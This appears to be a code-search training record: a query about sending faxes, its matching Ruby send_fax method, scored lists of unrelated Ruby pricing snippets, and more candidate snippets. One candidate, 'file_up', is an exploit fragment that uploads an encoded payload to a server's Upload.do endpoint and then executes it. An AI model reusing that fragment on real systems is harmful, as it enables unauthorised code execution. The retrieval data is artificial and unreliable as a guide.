"def total_price(tax_rate)\n ((1 + tax_percentage(tax_rate)) * price)\n end",
"def calculate_total_in_cents\n total = 0\n self.subscriptions.each do |s|\n if s.duration.to_i == 30\n total += PriceConfig.pricing(30) * 100\n elsif s.duration.to_i == 60\n total += PriceConfig.pricing(60) * 100\n else\n total += PriceConfig.pricing(90) * 100\n end\n end\n total\n end",
"def sub_total\n sum = 0\n line_items.each do |line_item|\n sum += line_item.total_price\n end\n sum\n end",
"def text_book_sale_price(addPayPalFee=false)\n sale_price = 0\n shipping_fee = (self.vendor.shipping_fee.nil?) ? 0 : self.vendor.shipping_fee\n shipping_percentage = (self.vendor.shipping_percentage.nil?) ? 0 : self.vendor.shipping_percentage\n\n sale_price = self.price + shipping_fee + (self.price * shipping_percentage) * 1.088\n\n if addPayPalFee\n sale_price *= 1.029\n end\n\n (sale_price * 100).round.to_f/100\n end",
"def define_total_price\n self.total_price = self.quantity.to_f * (self.price.to_f + self.vat_amount.to_f )\n end",
"def cumulative_total_before_tax\n amount = 0.0\n @products_in_cart.each do |product|\n amount += product.price\n end#each\n return amount\nend",
"def total_buy_price\n buy_price[\"total\"][\"amount\"].to_f\n end",
"def total_price\n # convert to array so it doesn't try to do sum on database directly\n @total = 0\n line_items.each do |item|\n @total = item.price\n end\n line_items.to_a.sum {|item| (item.quantity * item.price) }\n end",
"def total_price\n Money.new(quantity * price_per_serving)\n end",
"def total_amount\n self.tickets.inject(0) do |amount, ticket|\n amount += ticket.price_minus_discount\n end\n end",
"def total\n self.delivery_price +\n self.delivery_tax_amount +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.total }\n end",
"def total_price\n line_items.to_a.sum { |item| item.total_price}\n end",
"def cumulative_total_after_tax\n amount = 0.0\n @products_in_cart.each do |product|\n amount += product.total\n end#each\n return amount\nend",
"def total_price\n line_items.to_a.sum {|item| item.total_price}\n end",
"def total_with_tax\n total = 0\n @cart_items.each do |item|\n total += item.total_price\n end\n return total\n end",
"def sub_total\n return ApplicationHelper.round_currency(self.line_items.inject(BigDecimal('0.0')) { |sum, li| sum + li.price })\n end",
"def total_base_price\n tickets.map(&:base_price).sum\n end",
"def trading_fee\n return exchange_trading_fee if exchange_trading_fee > 0\n system_calculated_trading_fee\n end",
"def host_fee\n (total - net_rate).round(2)\n end",
"def total_value\n @quantity * @price_per_share\n end",
"def total_price\n self.line_items.each.sum {|li| li.total_price}\n end",
"def flow_total\n # r flow_order.total.label\n price = flow_order.total.label if flow_order && flow_order.total\n price || Flow.format_default_price(total)\n end",
"def total_price\n line_items.to_a.sum { |item| item.total_price }\n end",
"def total_price\n line_items.to_a.sum { |item| item.total_price }\n end",
"def total_price\n line_items.to_a.sum { |item| item.total_price }\n end",
"def total_price\n line_items.to_a.sum { |item| item.total_price }\n end",
"def total_before_tax\n total = 0\n @cart_items.each do |item|\n total += item.price\n end\n return total\n end",
"def total_price\r\n\t\t@items.inject(0.0) { |sum, i| sum + i.total_unit_price * i.quantity }\r\n\tend",
"def total\n subtotal\n # + tax\n end",
"def get_total_price\n reservation = get_reservation_braintree\n duration = reservation.to - reservation.from\n total = reservation.listing.fees + (duration * reservation.listing.price_per_night)\n total.to_f\n end",
"def total\n sum = 0\n subtotal = @products.values\n subtotal.each do |price|\n sum += price.to_f\n end\n\n total = (sum * 1.075).round(2)\n return total\n end",
"def total_taxes\n @total_taxes = 0\n @list.each do |item, quantity|\n @total_taxes += quantity * item.taxes\n end\n puts \"Sales Taxes: #{MONEY_FORMAT % @total_taxes}\"\n end",
"def total\n\t\tprices = line_items.map {|li| li.price}\n\t\tprices.reduce(0) {|it0, it1| it0+it1}\n\tend",
"def total\n (amount + fee) if amount\n end",
"def total_subscription_price\n sum = 0\n self.subscriptions.each do |subscription|\n sum += subscription.price \n end\n sum\n end",
"def total\n apply_rules(subtotal).round\n end",
"def total_sell_price\n sell_price[\"total\"][\"amount\"].to_f\n end",
"def calcuate_tax\n @price * 0.12\n end",
"def update_fee\n\t\tmoney_info = money_info()\n\t\t@fee = money_info['Trade_Fee'] / 100.0\n\tend",
"def total_price\n total = 0\n self.transactions.each do |t|\n total += t.price\n end\n total\n end",
"def fixed_fee_quantity\n qty = billing_frequency.total_months\n sub_starting_at = subscriber.starting_at\n sub_ending_at = subscriber.ending_at\n if self.reading_type_id == ReadingType::RETIRADA && !self.reading_date.blank?\n sub_ending_at = self.reading_date.to_date\n end\n bp_billing_starting_date = billing_period.billing_starting_date\n bp_billing_ending_date = billing_period.billing_ending_date\n begin\n if sub_starting_at > bp_billing_starting_date && sub_starting_at < bp_billing_ending_date\n # Subscriber registerd during the period\n # qty = (bp_billing_ending_date - sub_starting_at).to_i.days.seconds / 1.month.seconds\n qty = ((bp_billing_ending_date - sub_starting_at).days.seconds / 1.month.seconds).round\n end\n if (!sub_ending_at.nil?) && (sub_ending_at > bp_billing_starting_date && sub_ending_at < bp_billing_ending_date)\n # Subscriber withdrawn during the period\n qty = ((sub_ending_at - bp_billing_starting_date).days.seconds / 1.month.seconds).round\n end\n rescue\n qty = billing_frequency.total_months\n end\n return qty\n end",
"def line_total\n (@quantity * @price + line_item_sales_tax_total).round(2)\n end",
"def total\n product_total = 0\n subtotal = 0\n @products.each_value do |prices|\n subtotal += prices\n end\n product_total = (subtotal * 0.075).round(2)+ subtotal\n return product_total\n\n end",
"def total\n sum = self.line_items.inject(BigDecimal('0.0')) { |sum, li| sum + li.price } +\n self.price_modifiers.inject(BigDecimal('0.0')) { |sum, pm| sum + pm.amount }\n return ApplicationHelper.round_currency(sum)\n end",
"def pvcycle_total_fees\n pvcycle_membership_fee + pvcycle_contribution_fee\n end",
"def total_price\n mrg = margin(pricing_policy)\n calculate(pricing_policy, mrg).round\n end",
"def total\n order.delivery_price +\n order.delivery_tax_amount +\n order_items.inject(BigDecimal(0)) { |t, i| t + i.total }\n end",
"def total_price\n sum = 0\n line_items.to_a.sum do |check|\n check.total_price.to_i\n end\n\t\nend",
"def total_price\n @file.map { |f| f[2..3].map(&:to_f) }.flatten.reduce(:+)\n end",
"def sale_price_total(count)\n (count / sale_quantity) * sale_price + (count % sale_quantity) * unit_price\n end",
"def total_price\n line_items.map { |line_item| line_item.item.price * line_item.quantity }.sum\n end",
"def calculate_total\n sub_total = 0\n\n if size\n sub_total += Config.booths[size][:price]\n end\n\n self.add_ons.each do |add_on|\n sub_total += add_on.total\n end\n sub_total += industries.length * 35000\n sub_total += fees.pluck(:amount).reduce(0, &:+)\n\n self.total = sub_total\n self.balance = total - payments.paid.map(&:amount_paid).reduce(0, &:+)\n self\n end",
"def total\n return 0 if @products.empty?\n total = (@products.sum { |name, price| price } * 1.075).round(2)\n return total\n end",
"def get_total\n total = 0.0\n if !@order.nil?\n @order.order_items.each do |item|\n total = total + item.product.price * item.quantity\n end\n end\n return total.to_f\n end",
"def extra_price_for(object, base_price = nil)\n base_price ||= base_price_for(object)\n\n case object\n when Conversation\n base_price.div(2, 8) * [0, object.messages.outbound.sum(:segments) - 2].max\n\n else\n BigDecimal.new 0\n end\n end",
"def compute_total_value\n @value= @net_price * @count\n end",
"def get_flat_shipping_price\n return @@handling_fee\n end",
"def total\n if @products.length == 0\n return 0\n else\n total = @products.values.reduce(:+)\n total*= 1.075 #Tax\n total = total.round(2)\n return total\n end\n end",
"def total_shipping_price\n hash[\"TotalShippingPrice\"]\n end",
"def total_amount(bill_tip)\n\treturn tip_amount(bill_amount) + bill_tip\nend",
"def original_price\n order.total_price_with_taxes\n end",
"def calculate_total\n self.total = total_money(total_gross)\n end",
"def calculate_total_price(transaction)\n transaction['price']['amount'] / transaction['price']['divisor'].to_f\n end",
"def dollar_total\n total / 100.0\n end",
"def promo_total\n 0.0\n end",
"def total_discounted_price\n # convert to array so it doesn't try to do sum on database directly\n line_items.to_a.sum(&:total_discounted_price)\n end",
"def total\n total = 0.00\n #accesses the subtotal of each of the order items\n order_items.each do |item|\n total += item.subtotal\n end\n return total.round(2)\n end"
] |
[
"0.69317925",
"0.6917082",
"0.6870956",
"0.6869014",
"0.6849653",
"0.68239963",
"0.6803939",
"0.6763102",
"0.6750035",
"0.67435247",
"0.6719426",
"0.6698632",
"0.6697778",
"0.6692492",
"0.66778374",
"0.667088",
"0.66626585",
"0.66405225",
"0.66286045",
"0.6624391",
"0.6608973",
"0.6605529",
"0.6603446",
"0.6602061",
"0.65985584",
"0.6592495",
"0.6591842",
"0.65862566",
"0.657788",
"0.6575042",
"0.6551999",
"0.6549928",
"0.65428656",
"0.65309495",
"0.6523744",
"0.65196717",
"0.65138304",
"0.65122914",
"0.65121734",
"0.651079",
"0.6509576",
"0.65078115",
"0.6505448",
"0.65009564",
"0.65005773",
"0.6489183",
"0.648724",
"0.6484733",
"0.64834124",
"0.64784586",
"0.6475941",
"0.64756477",
"0.647476",
"0.64739573",
"0.6471974",
"0.64703715",
"0.64703715",
"0.64703715",
"0.64703715",
"0.6470195",
"0.6469055",
"0.6466367",
"0.64593744",
"0.6457342",
"0.64524263",
"0.6439035",
"0.64321995",
"0.64265084",
"0.6426343",
"0.64207655",
"0.6417135",
"0.64159095",
"0.6408324",
"0.64006275",
"0.6391594",
"0.6387453",
"0.6385464",
"0.6384828",
"0.6383948",
"0.6380063",
"0.6373813",
"0.6366311",
"0.6365609",
"0.6361255",
"0.63562477",
"0.6344029",
"0.6343499",
"0.633616",
"0.63340855",
"0.6334085",
"0.63311917",
"0.63235885",
"0.63207406",
"0.6320371",
"0.63140464",
"0.63135964",
"0.630715",
"0.62995195",
"0.62878036",
"0.6286334"
] |
0.681959
|
6
|
Send a fax using supplied supported filetypes.
|
def send_fax(fax_message)
# Validate required parameters.
validate_parameters(
'fax_message' => fax_message
)
# Prepare query url.
_query_builder = Configuration.base_uri.dup
_query_builder << '/fax/send'
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: fax_message.to_json
)
BasicAuth.apply(_request)
_context = execute_request(_request)
# Validate response against endpoint and global error codes.
return nil if _context.response.status_code == 404
validate_response(_context)
# Return appropriate response type.
_context.response.raw_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_fax()\n begin\n bodyParams = {\n to: [{ phoneNumber: RECIPIENT }],\n # To send fax to multiple recipients, add more 'phoneNumber' object. E.g.\n #\n # to: [\n # { phoneNumber: \"Recipient1-Phone-Number\" },\n # { phoneNumber: \"Recipient2-Phone-Number\" }\n # ],\n faxResolution: \"High\",\n coverPageText: \"This is a demo Fax page from Ruby\"\n }\n files = [\n ['test.jpg', 'image/jpeg']\n ]\n\n endpoint = \"/restapi/v1.0/account/~/extension/~/fax\"\n resp = $platform.post(endpoint, payload: bodyParams, files: files)\n puts (\"Fax sent. Message id: \" + resp.body['id'].to_s)\n check_fax_message_status(resp.body['id'])\n rescue StandardError => e\n puts (e)\n end\nend",
"def send_fax(options = {})\n params = options.merge(to: @fax_number, string_data: 'test')\n @send_fax_response = Phaxio.send_fax(params)\n sleep(5)\n end",
"def receive_fax\n component = Punchblock::Component::ReceiveFax.new\n execute_component_and_await_completion component\n\n component.complete_event\n end",
"def send_now(fax_id)\n fax_record = FaxRecord.includes(:attachments).find(fax_id)\n attachments_keys= fax_record.attachments.pluck(:file_key)\n attachments, file_dir= WebServices::Web.file_path(attachments_keys, fax_id)\n if (attachments.empty?) || (attachments.size != attachments_keys.size)\n fax_record.update_attributes(message: 'Fax request is complete', result_message: \"No files found to download for fax with ID: #{fax_id}\", error_code: 1515102, result_code: 7002, status: false, is_success: false, send_fax_queue_id: \"InvalidFaxAttachment#{fax_record.id}\", sender_fax: '1', pages: 0, attempts: 0, fax_duration: 0)\n HelperMethods::Logger.app_logger('error', \"send_now: No files found to download for fax with ID: #{fax_id}\")\n InsertFaxJob.perform_async(fax_record.id) unless fax_record.resend > 0\n FileUtils.rm_rf Dir.glob(file_dir)\n return\n end\n conn = Faraday.new(url: FAX_SERVER_URL, ssl: { ca_file: 'C:/Ruby200/cacert.pem' } ) do |faraday|\n faraday.request :multipart\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\n token = get_token()\n parts = [\"sendfax?\",\n \"token=#{CGI.escape(token)}\",\n \"ApiKey=#{CGI.escape(APIKEY)}\",\n \"RecipientFax=#{fax_record.recipient_number}\",\n \"RecipientName=#{fax_record.recipient_name}\",\n \"OptionalParams=&\" ]\n path = \"/api/\" + parts.join(\"&\")\n response = conn.post path do |req|\n req.body = {}\n attachments.each_with_index do |file, i|\n req.body[\"file_name#{i}\"] = Faraday::UploadIO.new(\"#{file}\", file_specification(file)[0], file_specification(file)[1])\n end\n end\n response_result = JSON.parse(response.body)\n fax_record.update_attributes(\n status: response_result[\"isSuccess\"],\n message: response_result[\"message\"],\n send_fax_queue_id: response_result[\"SendFaxQueueId\"],\n max_fax_response_check_tries: 0,\n send_confirm_date: response['date'])\n if fax_record.send_fax_queue_id.nil?\n HelperMethods::Logger.app_logger('error', \"send_now: error send_fax_queue_id is nil: #{response_result}\")\n fax_record.update_attributes(message: 'Fax request is complete', result_message: 'Transmission not completed', error_code: 1515101, result_code: 7001, status: false, is_success: false, send_fax_queue_id: \"InvalidFaxParams#{fax_record.id}\", sender_fax: '1', pages: 0, attempts: 0, fax_duration: 0)\n elsif fax_record.send_fax_queue_id == '-1'\n HelperMethods::Logger.app_logger('error', \"send_now: #{response_result}\")\n fax_record.update_attributes(result_message: 'Invalid fax number', error_code: 1515102, result_code: 7002, status: false, is_success: false, send_fax_queue_id: \"InvalidFaxNumber#{fax_record.id}\", sender_fax: '1', pages: 0, attempts: 0, fax_duration: 0)\n end\n InsertFaxJob.perform_async(fax_record.id) unless fax_record.resend > 0\n FileUtils.rm_rf Dir.glob(file_dir)\n end",
"def open_file(filename)\n \n #send_file filename, :x_sendfile => true, :type => 'xls'\n send_file(filename,\n :disposition => 'attachment',\n :encoding => 'utf8',\n :type => 'application/octet-stream')\n \n \nend",
"def send_file_with_mime_type file_path\n # more MIME types: http://de.selfhtml.org/diverses/mimetypen.htm\n kind_of_plain_text = %w{ txt php js css rb yml log }\n kind_of_html = %w{ htm html shtml }\n\n case split_to_filename_and_extension(file_path).last.downcase\n when /jp(e*)g/ then type = 'image/jpeg'\n when 'gif' then type = 'image/gif'\n when 'png' then type = 'image/png'\n when 'bmp' then type = 'image/bmp'\n when 'xml' then type = 'text/xml'\n when 'pdf' then type = 'application/pdf'\n when *kind_of_plain_text then type = 'text/plain'\n when *kind_of_html then type = 'text/html'\n else type = 'application/octet-stream'\n end\n\n if Settings.x_accel_redirect\n send_file_via_nginx_x_accel_redirect file_path, type\n else\n send_file File.expand_path(file_path), :disposition => 'inline', :type => type, :x_sendfile => Settings.x_sendfile\n end\n end",
"def create\n fax_request = FaxRequest.new(fax_params)\n fax_request.client_receipt_date = Time.now\n fax_request.save!\n response = send_fax(fax_params)\n update_fax_request(fax_request,response)\n end",
"def send_file(path, options = T.unsafe(nil)); end",
"def send_file(path); end",
"def register_mime_types(types)\n cr = Fl::Framework::Attachment::ClassRegistry.registry\n\n types.each do |tk, tv|\n av = (tv.is_a?(Array)) ? tv : [ tv ]\n av.each do |orm|\n cr.register(tk, self, orm)\n end\n end\n end",
"def send_file_method\n :default\n end",
"def send(file_or_data, type = nil, send_as = nil)\n if file_or_data.class == File\n data = file_or_data.read\n\n # auto set type based on file type\n type = Rack::Mime.mime_type(\".\" + String.split_at_last_dot(file_or_data.path)[1])\n else\n data = file_or_data\n end\n\n headers = {}\n headers[\"Content-Type\"] = type if type\n headers[\"Content-disposition\"] = \"attachment; filename=#{send_as}\" if send_as\n\n self.context = AppContext.new(request, Response.new(data, response.status, response.header.merge(headers)))\n halt\n end",
"def set_Fax(value)\n set_input(\"Fax\", value)\n end",
"def sending_faxes_without_queue_id\n FaxRecord.without_queue_id.each do |fax|\n begin\n fax.update_attributes( updated_by_initializer: true )\n FaxServices::Fax.send_now(fax.id)\n rescue\n HelperMethods::Logger.app_logger('error', \"sending_faxes_without_queue_id: Error sending_faxes_without_queue_id: #{fax.id}\")\n end\n end\n end",
"def send_xml(filename, xml)\n send_data xml,\n filename: filename,\n type: 'text/xml; charset=UTF-8;',\n disposition: 'attachment;'\n end",
"def file_specification\n file_name = File.basename (\"#{fax_params[\"file_path\"]}\").downcase\n file_extension = File.extname (file_name).downcase\n\n if file_extension == \".pdf\"\n return \"application/PDF\",file_name\n elsif file_extension == \".txt\"\n return \"application/TXT\",file_name\n elsif file_extension == \".doc\"\n return \"application/DOC\",file_name\n elsif file_extension == \".docx\"\n return \"application/DOCX\",file_name\n elsif file_extension == \".tif\"\n return \"application/TIF\",file_name\n else\n return false\n end\n end",
"def send_file_options\n st = stream_path\n opts = {type: MIME::Types.type_for(st).to_s, filename: @attachment.io_stream_file_name}\n\n case send_file_method\n when :apache then\n opts[:x_sendfile] = true\n when :nginx then\n head(:x_accel_redirect => st.gsub(Rails.root, \"\"), :content_type => opts[:type])\n else\n true\n end\n\n opts\n end",
"def create(to, from, url, optional_params = {})\n opts = { :To => to, :From => from, :Url => url }.merge(optional_params)\n response = Network.post(['Faxes'], opts)\n Fax.new(response)\n end",
"def fax_params\n params.require(:fax).permit(:fax)\n end",
"def fax_job_params\n params.require(:fax_job).permit(:fax, :file_name, :sender_email, :sender_name)\n end",
"def send_file_full(req_path, request, response,mime_type=\"image/png\", header_only=false )\n\t return send_file_xsendfile(request, response,req_path, mime_type)\n\tend",
"def create_fax_tiff(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, 'File')\n end",
"def create\n Rails.logger.debug \"Creating a FAX\"\n @fax_job = FaxJob.new(fax_job_params)\n\n respond_to do |format|\n if @fax_job.save\n\t@fax_job.send_fax\n format.html { redirect_to @fax_job, notice: 'Fax job was successfully created.' }\n format.json { render :show, status: :created, location: @fax_job }\n else\n format.html { render :new }\n format.json { render json: @fax_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def convert_tiff_to_fax(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end",
"def send_msg\n # Files to be attached\n files = []\n files << 'facebook.jpg' if params[:my_mail][:jpeg_file] == 'true'\n files << 'pmt.pdf' if params[:my_mail][:pdf_file] == 'true'\n files << 'квитанция.doc' if params[:my_mail][:ms_doc_file] == 'true'\n files << 'Documents NOT YLE.7z' if params[:my_mail][:zip_file] == 'true'\n\n MyMailer.hello_email(params[:my_mail][:name],\n params[:my_mail][:email],\n params[:my_mail][:subject],\n files).deliver\n flash[:notice] = 'Message sent successfully'\n# render nothing: true\n redirect_to :back\n end",
"def show\n @fax_document = FaxDocument.find(params[:id])\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @fax_document }\n format.tif {\n raw_file_name = @fax_document.raw_file_path\n send_file raw_file_name, :type => \"image/tiff\", \n :filename => File.basename(@fax_document.file, File.extname(@fax_document.file)) + '.tif'\n }\n format.png {\n thumbnail_file_name = @fax_document.thumbnail_file_path\n thumbnail_file_name ||= @fax_document.to_thumbnail\n send_file thumbnail_file_name, :type => \"image/png\", :disposition => 'inline', \n :filename => File.basename(@fax_document.file, File.extname(@fax_document.file)) + '.png'\n }\n format.pdf {\n pdf_file_name = @fax_document.pdf_file_path\n pdf_file_name ||= @fax_document.to_pdf\n send_file pdf_file_name, :type => \"application/pdf\", \n :filename => File.basename(@fax_document.file, File.extname(@fax_document.file)) + '.pdf'\n }\n end\n end",
"def create\n @fax = Fax.new(fax_params)\n\n respond_to do |format|\n if @fax.save\n format.html { redirect_to @fax, notice: 'Fax was successfully created.' }\n format.json { render :show, status: :created, location: @fax }\n else\n format.html { render :new }\n format.json { render json: @fax.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register_mime_types\n types = mime_types.map(&:to_s)\n exts = file_extensions.map(&:to_sym)\n type = types.shift\n ext = exts.shift\n __debug_mime(binding) do\n { type: type, ext: ext, types: types, exts: exts }\n end\n return unless type && ext\n Mime::Type.register(type, ext, types, exts) # TODO: needed?\n Marcel::MimeType.extend(type, extensions: file_extensions.map(&:to_s))\n end",
"def mime_types(*types)\n types.flatten.each do |t|\n @mime_types << t\n end\n @mime_types\n end",
"def send(xml)\n if xml.is_a? Nokogiri::XML::NodeSet\n xml.each do |node|\n send_node(node)\n end\n elsif xml.is_a? Nokogiri::XML::Node\n send_node(xml)\n else\n # We try a cast into a string.\n send_string(\"#{xml}\")\n end\n end",
"def add(*types)\n quiet = ((types.last == :silent) or (types.last == true))\n\n types.each do |mime_type|\n case mime_type\n when true, false, nil, Symbol\n nil\n when MIME::Types\n variants = mime_type.instance_variable_get(:@type_variants)\n add(*variants.values.flatten, quiet)\n when Array\n add(*mime_type, quiet)\n else\n add_type(mime_type, quiet)\n end\n end\n end",
"def send(file_or_data, type: nil, name: nil)\n if file_or_data.is_a?(IO) || file_or_data.is_a?(StringIO)\n data = file_or_data\n\n if file_or_data.is_a?(File)\n type ||= Rack::Mime.mime_type(File.extname(file_or_data.path))\n end\n\n @connection.set_response_header(Rack::CONTENT_TYPE, type || DEFAULT_SEND_TYPE)\n elsif file_or_data.is_a?(String)\n @connection.set_response_header(Rack::CONTENT_TYPE, type) if type\n data = StringIO.new(file_or_data)\n else\n raise ArgumentError, \"Expected an IO or String object\"\n end\n\n @connection.set_response_header(CONTENT_DISPOSITION, name ? \"attachment; filename=#{name}\" : \"inline\")\n halt(data)\n end",
"def add(*types)\n types.each do |mime_type|\n if mime_type.kind_of? MIME::Types\n add(*mime_type.defined_types)\n else\n if @type_variants.include?(mime_type.simplified)\n if @type_variants[mime_type.simplified].include?(mime_type)\n warn \"Type #{mime_type} already registered as a variant of #{mime_type.simplified}.\" unless defined? MIME::Types::STARTUP\n end\n end\n add_type_variant(mime_type)\n index_extensions(mime_type)\n end\n end\n end",
"def test_send(destinations,body,clientmessagereference,options = {})\n @options[:method] = 'testsendsms'\n @options[:clientmessagereference] = clientmessagereference\n @options[:destinations] = to_csv(destinations)\n @options[:body] = body\n @options.merge(options)\n response = ta_response(send_params)\n\n return response\n end",
"def send_sample_file(file_name, arg=[])\n #data = args.join(',').split(',')\n file = CSV.generate do |line|\n arg.each do |element|\n line << element\n end\n end\n\n send_data(file, \n :type => 'text/csv;charset=utf-8;header=present', \n :disposition => \"attachment;filename=#{file_name}_#{Time.now.strftime('%d%m%y-%H%M')}.csv\")\n end",
"def send_files(name, files)\n if @request.env[\"HTTP_MOD_ZIP_ENABLED\"]\n filenames = []\n files.each do |file|\n path = ::File.expand_path(file.path)\n filename = file.name\n while filenames.include? filename\n extname = ::File.extname(filename)\n basename = ::File.basename(filename, extname)\n if basename =~ /-(\\d+)$/\n counter = $1.to_i + 1\n else\n counter = 2\n end\n filename = \"#{basename}-#{counter}#{extname}\"\n end\n filenames << filename\n if file.respond_to?(:checksum)\n puts(\"#{file.checksum(:pkzip)} #{::File.size(path)} #{path} #{filename}\")\n else\n puts(\"#{Harbor::File.new(path).checksum(:pkzip)} #{::File.size(path)} #{path} #{filename}\")\n end\n end\n headers[\"X-Archive-Files\"] = \"zip\"\n self.content_type = \"application/zip\"\n @headers[\"Content-Disposition\"] = \"attachment; filename=\\\"#{escape_filename_for_http_header(name)}\\\"\"\n else\n @io = ZippedIO.new(files)\n self.size = @io.size\n self.content_type = \"application/zip\"\n @headers[\"Content-Disposition\"] = \"attachment; filename=\\\"#{escape_filename_for_http_header(name)}\\\"\"\n end\n end",
"def send(xml)\n msg = <<EOL\n<?xml version=\"1.0\"?>\n<?qbxml version=\"#{QBXML_VERSION}\"?>\n<QBXML>\n <QBXMLMsgsRq onError=\"continueOnError\">\n #{xml}</QBXMLMsgsRq>\n</QBXML>\nEOL\n puts msg\n @soap_client.ProcessRequest(@ticket, xml)\n end",
"def accepts(*types)\n mime_types = types.map{ |type| mime_type(CONTENT_TYPE_ALIASES[type] || type) }\n condition do\n halt 406 unless mime_types.include?(request.media_type)\n content_type(mime_symbol(request.media_type))\n end\n end",
"def sendToTrufina(xml)\n puts \"Sending XML to #{domain}#{endpoint}:\\n\\n#{xml}\\n\\n\" if Trufina::Config.debug?\n \n # Connection Info\n api = Net::HTTP.new( domain, 443 )\n api.use_ssl = true\n api.verify_mode = OpenSSL::SSL::VERIFY_NONE # Prevent annoying warnings\n \n # Request info\n method_call = Net::HTTP::Post.new( endpoint, {'Content-Type' => 'text/xml'} )\n method_call.body = xml\n\n if Config.staging?\n method_call.basic_auth(Config.staging_access[:username], Config.staging_access[:password])\n end\n \n # OK, execute the actual call\n response = api.request(method_call)\n raise Exceptions::NetworkError.new(response.msg) unless response.is_a?(Net::HTTPSuccess)\n parseFromTrufina(response.body)\n end",
"def create\n @fax_typ = FaxTyp.new(params[:fax_typ])\n\n respond_to do |format|\n if @fax_typ.save\n format.html { redirect_to @fax_typ, notice: 'Fax typ was successfully created.' }\n format.json { render json: @fax_typ, status: :created, location: @fax_typ }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fax_typ.errors, status: :unprocessable_entity }\n end\n end\n end",
"def is_xlx_file?(file_content_type)\n file_content_type == \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\" or file_content_type==\"application/zip\" or file_content_type==\"application/octet-stream\" or file_content_type == \"application/vnd.ms-excel\"\n end",
"def send(*args)\n puts \"Warning: Sf1Driver#send is deprecated, use Sf1Driver#call instead\"\n\n call(*args)\n end",
"def create\n @fax_document = FaxDocument.new(params[:fax_document])\n if (! @fax_document.outgoing && ! @fax_document.user_id )\n @fax_document.user_id = destination_to_user( @fax_document.destination )\n end\n\n respond_to do |format|\n if @fax_document.save\n if (Configuration.get(:fax_send_mail, true, Configuration::Boolean) && ! @fax_document.outgoing && @fax_document.user_id )\n FaxMailer.new_fax_document(@fax_document).deliver\n end\n format.html {\n if @fax_document.destination.blank?\n redirect_to(@fax_document, :notice => t(:fax_document_created))\n else\n redirect_to(:action => 'number', :id => @fax_document.id, :notice => t(:fax_document_created)) \n end\n }\n format.xml { render :xml => @fax_document, :status => :created, :location => @fax_document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fax_document.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def attach( file_or_files, filename = file_or_files.is_a?(File) ? File.basename(file_or_files.path) : nil,\n type = nil, headers = nil)\n @mailer.attach(file_or_files, filename, type, headers)\n end",
"def file_up(platform, dir)\r\n # specifying an extension by platform\r\n if platform == Msf::Module::Platform::Windows\r\n filex = \".bat\"\r\n else\r\n if payload.encoded =~ /sh/\r\n filex = \".sh\"\r\n elsif payload.encoded =~ /perl/\r\n filex = \".pl\"\r\n elsif payload.encoded =~ /python/\r\n filex = \".py\"\r\n elsif payload.encoded =~ /ruby/\r\n filex = \".rb\"\r\n else\r\n fail_with(Failure::Unknown, 'Payload type could not be checked!')\r\n end\r\n end\r\n \r\n @fname= rand_text_alpha(9 + rand(3)) + filex\r\n data = Rex::MIME::Message.new\r\n data.add_part('./', nil, nil, 'form-data; name=\"uploadDir\"')\r\n data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"theFile\\\"; filename=\\\"#{@fname}\\\"\")\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data.to_s,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => @cookie,\r\n 'uri' => normalize_uri(target_uri, \"Upload.do\") \r\n })\r\n \r\n if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control\r\n print_good(\"#{@fname} malicious file has been uploaded.\")\r\n create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O\r\n else\r\n fail_with(Failure::Unknown, 'The file could not be uploaded!')\r\n end\r\n end",
"def sendAsGift\n end",
"def show\n @archivo = Archivo.find(params[:id])\n @var = @archivo.uploaded_file.path\n @var2 = @var.gsub(@archivo.uploaded_file_file_name, '');\n\n if @archivo.uploaded_file_content_type == 'application/pdf'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/pdf\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/zip'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/zip\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'image/jpeg' or @archivo.uploaded_file_content_type == 'image/jpg' or @archivo.uploaded_file_content_type == 'image/png' or @archivo.uploaded_file_content_type == 'image/gif'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"image/jpeg\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/doc'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/doc\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'text/plain'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"text/plain\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/msword'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/msword\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'application/vnd.ms-excel'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"application/vnd.ms-excel\", :x_sendfile=>true\n elsif @archivo.uploaded_file_content_type == 'text/csv'\n send_file Rails.root.join(@var2, @archivo.uploaded_file_file_name), :type=>\"text/csv\", :x_sendfile=>true\n end\n\n end",
"def upload_filtered_file\n if ALLOWED_FILE_TYPES.include? File.extname(file_params[:file])\n upload_file\n else\n render json: \"Only #{ALLOWED_FILE_TYPES.join(', ')} extension file is allowed to upload\", status: 422\n end\n end",
